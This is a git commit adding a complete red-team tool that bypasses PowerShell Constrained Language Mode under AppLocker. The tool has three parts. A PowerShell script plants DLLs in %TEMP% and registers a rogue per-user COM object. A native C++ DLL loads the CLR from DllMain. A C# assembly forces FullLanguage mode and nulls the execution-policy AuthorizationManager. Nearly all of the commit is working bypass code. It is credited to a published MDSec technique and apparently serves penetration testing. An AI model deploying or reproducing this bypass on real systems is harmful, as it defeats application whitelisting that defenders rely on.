Added Bypass-ConstrainedLanguageMode

This commit is contained in:
mb 2019-06-21 04:52:38 +02:00
parent 4aa113e076
commit 4e17445eaf
14 changed files with 903 additions and 0 deletions

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,151 @@

# -------------------------
$comName = "ClmDisableDll"
$comDescription = "CLM Disable COM"
$srcDllPath = '.\ClmDisableDll.dll'
$dstDllPath = "$($Env:Temp)\ClmDisableDll.dll"
$srcAssemblyPath = '.\ClmDisableAssembly.dll'
$dstAssemblyPath = "$($Env:Temp)\ClmDisableAssembly.dll"
$guid = "{394aaa50-684e-4870-911a-d045293b3b13}"
# -------------------------
function Bypass-CLM
{
param(
[switch]$RemoveComWhenFinished
)
$ErrorActionPreference = "SilentlyContinue"
function Create-COM {
param(
[Parameter(Mandatory = $true)]
[string]$comName,
[Parameter(Mandatory = $true)]
[string]$comDescription,
[Parameter(Mandatory = $true)]
[string]$dllPath,
[Parameter(Mandatory = $true)]
[string]$guid
)
# Obtains current user SID, can't use System.Security.Principal.NTAccount
# type because we are in Constrained Language Mode
$sid = (whoami /user | select-string -Pattern "(S-1-5[0-9-]+)" -all | select -ExpandProperty Matches).value
New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS
$key = 'HKU:\{0}_classes' -f $sid
# Adding our own InProcServer32
$key = 'HKU:\{0}_classes\CLSID\' -f $sid
New-Item -Path $key -Name $guid
$key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $guid
New-Item -Path $key -Name 'InProcServer32'
New-ItemProperty -Path $key -Name '(Default)' -Value $comDescription -PropertyType String -Force
$key = 'HKU:\{0}_classes\CLSID\{1}\InProcServer32' -f $sid, $guid
New-ItemProperty -Path $key -Name '(Default)' -Value $dllPath -PropertyType String -Force
New-ItemProperty -Path $key -Name 'ThreadingModel' -Value "Apartment" -PropertyType String -Force
# Registering COM's ProgID / shortname
$key = 'HKU:\{0}_classes' -f $sid
New-Item -Path $key -Name $comName
$key = 'HKU:\{0}_classes\{1}' -f $sid, $comName
New-ItemProperty -Path $key -Name '(Default)' -Value $comDescription -PropertyType String -Force
New-Item -Path $key -Name 'CLSID'
$key = 'HKU:\{0}_classes\{1}\CLSID' -f $sid, $comName
New-ItemProperty -Path $key -Name '(Default)' -Value $guid -PropertyType String -Force
}
function Remove-COM {
param(
[Parameter(Mandatory = $true)]
[string]$comName,
[Parameter(Mandatory = $true)]
[string]$guid
)
$sid = (whoami /user | select-string -Pattern "(S-1-5[0-9-]+)" -all | select -ExpandProperty Matches).value
New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS | Out-Null
$key = 'HKU:\{0}_classes\{1}' -f $sid, $comName
Remove-Item -Path $key -Recurse | Out-Null
$key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $guid
Remove-Item -Path $key -Recurse | Out-Null
}
function Invoke-PS {
param(
[Parameter(Mandatory = $true)]
[string]$Commands
)
$Runspace = [runspacefactory]::CreateRunspace()
$posh = [powershell]::Create()
$posh.runspace = $Runspace
$Runspace.Open()
[void]$posh.AddScript($Commands)
$posh.Invoke()
$posh.Dispose() | Out-Null
}
Write-Host "`tAppLocker Constrined Language Mode Bypass via COM"
Write-Host "`t(implementation of: @xpn's technique, as documented in:)"
Write-Host "`t(https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/)"
Write-Host "`n`tRe-implemented, enhanced by: Mariusz B., mgeeky"
Write-Host "`t-----`n"
Write-Host "[.] Step 0. Planted DLL files in:`n`t$dstAssemblyPath`n`t$dstDllPath"
Copy-Item $srcDllPath $dstDllPath -Force
Copy-Item $srcAssemblyPath $dstAssemblyPath -Force
Write-Host "[.] Step 1. Creating custom COM object."
Create-COM -ComName $comName -ComDescription $comDescription -DllPath $dstDllPath -Guid $guid | Out-Null
Write-Host "[.] Step 2. Invoking it ($comName)..."
Write-Host "`tPowershell runspace Thread ID: $([appdomain]::GetCurrentThreadId())"
try
{
New-Object -ComObject $comName -erroraction 'silentlycontinue' | Out-Null
}
catch
{
}
if($RemoveComWhenFinished)
{
Write-Host "[.] Removing registered COM object."
Remove-COM -ComName $comName -Guid $guid
}
else
{
Write-Host "`n============"
Write-Host -ForegroundColor Yellow "`nUse below command to disable CLM on Demand (ignore errors):"
Write-Host "`n`tPS> " -NoNewLine
Write-Host -ForegroundColor Green "New-Object -ComObject $comName"
Write-Host "`n============`n"
}
#############################################################
#
# PUT YOUR CODE BELOW THAT IS GOING TO BE RUN IN CLM DISABLED
#
Write-Host "`n[+] Finished. CLM status: $($ExecutionContext.SessionState.LanguageMode)"
#############################################################
}
Bypass-CLM

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,79 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{5054C13F-1351-47B9-A6CA-25F4548F68A7}</ProjectGuid>
<OutputType>Library</OutputType>
<RootNamespace>ClmDisableAssembly</RootNamespace>
<AssemblyName>ClmDisableAssembly</AssemblyName>
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
<TargetFrameworkProfile />
<PublishUrl>publish\</PublishUrl>
<Install>true</Install>
<InstallFrom>Disk</InstallFrom>
<UpdateEnabled>false</UpdateEnabled>
<UpdateMode>Foreground</UpdateMode>
<UpdateInterval>7</UpdateInterval>
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
<UpdatePeriodically>false</UpdatePeriodically>
<UpdateRequired>false</UpdateRequired>
<MapFileExtensions>true</MapFileExtensions>
<ApplicationRevision>0</ApplicationRevision>
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
<IsWebBootstrapper>false</IsWebBootstrapper>
<UseApplicationTrust>false</UseApplicationTrust>
<BootstrapperEnabled>true</BootstrapperEnabled>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup>
<StartupObject />
</PropertyGroup>
<PropertyGroup />
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL">
<HintPath>System.Management.Automation.dll</HintPath>
</Reference>
</ItemGroup>
<ItemGroup>
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<None Include="app.config" />
<None Include="app.manifest" />
<None Include="packages.config" />
</ItemGroup>
<ItemGroup>
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1</ProductName>
<Install>false</Install>
</BootstrapperPackage>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -0,0 +1,75 @@
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace ClmDisableAssembly
{
public class ClmDisableAssembly
{
[System.Runtime.InteropServices.DllImport("kernel32.dll")]
static extern int GetCurrentThreadId();
public static int Start(string arg)
{
Console.WriteLine("[+] Managed mode assembly. Disabling CLM globally.");
Console.WriteLine("\tCurrent thread ID (managed/unmanaged): " + System.Threading.Thread.CurrentThread.ManagedThreadId.ToString() + " / " + GetCurrentThreadId().ToString());
if (arg.Length > 0)
{
Console.WriteLine($"\tPassed argument: '{arg}'");
}
// Switches back to FullLanguage in CLM
Runspace.DefaultRunspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
try
{
Runspace.DefaultRunspace.InitialSessionState.LanguageMode = PSLanguageMode.FullLanguage;
// Bypasses PowerShell execution policy
Runspace.DefaultRunspace.InitialSessionState.AuthorizationManager = null;
}
catch (Exception e)
{
Console.WriteLine("[-] Approach #1 failed: " + e);
}
try
{
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.ApartmentState = System.Threading.ApartmentState.STA;
runspace.ThreadOptions = PSThreadOptions.UseCurrentThread;
runspace.Open();
runspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
runspace.Close();
}
catch (Exception e)
{
Console.WriteLine("[-] Approach #2 failed: " + e);
}
try
{
InitialSessionState initialSessionState = InitialSessionState.CreateDefault();
initialSessionState.ApartmentState = System.Threading.ApartmentState.STA;
initialSessionState.AuthorizationManager = null;
initialSessionState.ThreadOptions = PSThreadOptions.UseCurrentThread;
using (Runspace runspace = RunspaceFactory.CreateRunspace(initialSessionState))
{
runspace.Open();
runspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
runspace.InitialSessionState.AuthorizationManager = null;
runspace.InitialSessionState.LanguageMode = PSLanguageMode.FullLanguage;
runspace.Close();
}
}
catch (Exception e)
{
Console.WriteLine("[-] Approach #3 failed: " + e);
}
return 0;
}
}
}

View File

@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// Ogólne informacje o zestawie są kontrolowane poprzez następujący
// zestaw atrybutów. Zmień wartości tych atrybutów, aby zmodyfikować informacje
// powiązane z zestawem.
[assembly: AssemblyTitle("ClmDisableAssembly")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("ClmDisableAssembly")]
[assembly: AssemblyCopyright("Copyright © 2019")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Ustawienie elementu ComVisible na wartość false sprawia, że typy w tym zestawie są niewidoczne
// dla składników COM. Jeśli potrzebny jest dostęp do typu w tym zestawie z
// COM, ustaw wartość true dla atrybutu ComVisible tego typu.
[assembly: ComVisible(false)]
// Następujący identyfikator GUID jest identyfikatorem biblioteki typów w przypadku udostępnienia tego projektu w modelu COM
[assembly: Guid("5054c13f-1351-47b9-a6ca-25f4548f68a7")]
// Informacje o wersji zestawu zawierają następujące cztery wartości:
//
// Wersja główna
// Wersja pomocnicza
// Numer kompilacji
// Rewizja
//
// Możesz określić wszystkie wartości lub użyć domyślnych numerów kompilacji i poprawki
// przy użyciu symbolu „*”, tak jak pokazano poniżej:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.28307.572
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ClmDisableDll", "ClmDisableDll.vcxproj", "{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Debug|x64.ActiveCfg = Debug|x64
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Debug|x64.Build.0 = Debug|x64
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Debug|x86.ActiveCfg = Debug|Win32
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Debug|x86.Build.0 = Debug|Win32
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Release|x64.ActiveCfg = Release|x64
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Release|x64.Build.0 = Release|x64
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Release|x86.ActiveCfg = Release|Win32
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {1154B3D3-39A5-4687-A246-E70587D3BE81}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,145 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}</ProjectGuid>
<RootNamespace>ClmDisableDll</RootNamespace>
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<AdditionalDependencies>mscoree.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<AdditionalDependencies>mscoree.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MinSpace</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalOptions> /GL /Os /GF /Gy /GA %(AdditionalOptions)</AdditionalOptions>
<BufferSecurityCheck>false</BufferSecurityCheck>
<CallingConvention>StdCall</CallingConvention>
</ClCompile>
<Link>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>mscoree.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions>/OPT:REF /OPT:ICF /LTCG %(AdditionalOptions)</AdditionalOptions>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MinSpace</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalOptions> /GL /Os /GF /Gy /GA %(AdditionalOptions)</AdditionalOptions>
<BufferSecurityCheck>false</BufferSecurityCheck>
<CallingConvention>StdCall</CallingConvention>
</ClCompile>
<Link>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>mscoree.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions>/OPT:REF /OPT:ICF /LTCG %(AdditionalOptions)</AdditionalOptions>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="main.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,143 @@
/**
* This DLL hosts CLR4 environment from within a native binary. This way it is possible to
* call .NET APIs from an unmanaged runtime.
*
* Mariusz B., mgeeky, 19'
*
**/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <metahost.h>
#include <stdio.h>
#pragma comment(lib, "mscoree.lib")
//////////////////////////////////////////////////
//
// Specify below .NET assembly, main class to instantiate and parameters to pass there.
namespace CustomAssemblyParameters {
LPCWSTR AssemblyName = L"%TEMP%\\ClmDisableAssembly.dll";
LPCWSTR TypeName = L"ClmDisableAssembly.ClmDisableAssembly";
LPCWSTR MethodName = L"Start";
LPCWSTR Argument = L"(called from native CLR host)";
}
//////////////////////////////////////////////////
#ifdef _DEBUG
# define msg(x) MessageBoxW(nullptr, x, L"LoadCLRFromNativeDLL", 0)
#else
# define msg(x) ((void)0)
#endif
void DoProcessAttach()
{
ICLRMetaHost *metaHost = nullptr;
ICLRRuntimeInfo *runtimeInfo = nullptr;
ICLRRuntimeHost *runtimeHost = nullptr;
IEnumUnknown *runtime = nullptr;
IUnknown *enumRuntime = nullptr;
LPWSTR frameworkName = nullptr;
DWORD bytes = 2048;
DWORD result = 0;
if (CLRCreateInstance(
CLSID_CLRMetaHost,
IID_ICLRMetaHost,
reinterpret_cast<LPVOID*>(&metaHost)
) != S_OK) {
msg(L"FAIL: Could not create MetaHost CLR instance.");
return;
}
if (!metaHost || (metaHost->EnumerateInstalledRuntimes(
&runtime
) != S_OK)) {
msg(L"FAIL: Cannot enumerate installed runtimes.");
return;
}
if (!runtime) {
msg(L"FAIL: Could not find installed runtimes.");
return;
}
frameworkName = reinterpret_cast<LPWSTR>(LocalAlloc(
LPTR,
bytes
));
if (!frameworkName) {
msg(L"FAIL: could not allocate 2048 bytes for framework name buffer.");
return;
}
while (runtime->Next(1, &enumRuntime, 0) == S_OK) {
if (enumRuntime && (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK)) {
if (runtimeInfo != nullptr) {
runtimeInfo->GetVersionString(frameworkName, &bytes);
}
}
}
if (runtimeInfo == nullptr || (runtimeInfo->GetInterface(
CLSID_CLRRuntimeHost,
IID_ICLRRuntimeHost,
reinterpret_cast<LPVOID*>(&runtimeHost)
) != S_OK)) {
msg(L"FAIL: Could not get CLRRuntimeHost interface's reference.");
return;
}
if (runtimeHost == nullptr) {
msg(L"FAIL: Could not obtain reference to CLRRuntimeHost.");
return;
}
runtimeHost->Start();
WCHAR assemblyPath[1024] = L"";
ExpandEnvironmentStringsW(CustomAssemblyParameters::AssemblyName, assemblyPath, _countof(assemblyPath));
LPCWSTR assemblyPathPtr = assemblyPath;
HRESULT hres = runtimeHost->ExecuteInDefaultAppDomain(
assemblyPathPtr,
CustomAssemblyParameters::TypeName,
CustomAssemblyParameters::MethodName,
CustomAssemblyParameters::Argument,
&result
);
if (hres != S_OK) {
wchar_t msgbuf[1024] = L"";
swprintf_s(msgbuf, L"FAIL: Could not invoke custom .NET assembly, instantiate it's type or invoke a method. HRESULT = 0x%08x . Assembly path: '%s'", hres, assemblyPath);
msg(msgbuf);
}
//runtimeHost->Stop();
//runtimeHost->Release();
runtimeInfo->Release();
metaHost->Release();
}
BOOLEAN WINAPI DllMain(
IN HINSTANCE /*hDllHandle*/,
IN DWORD nReason,
IN LPVOID /*Reserved*/
)
{
switch (nReason)
{
case DLL_PROCESS_ATTACH:
{
DoProcessAttach();
break;
}
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}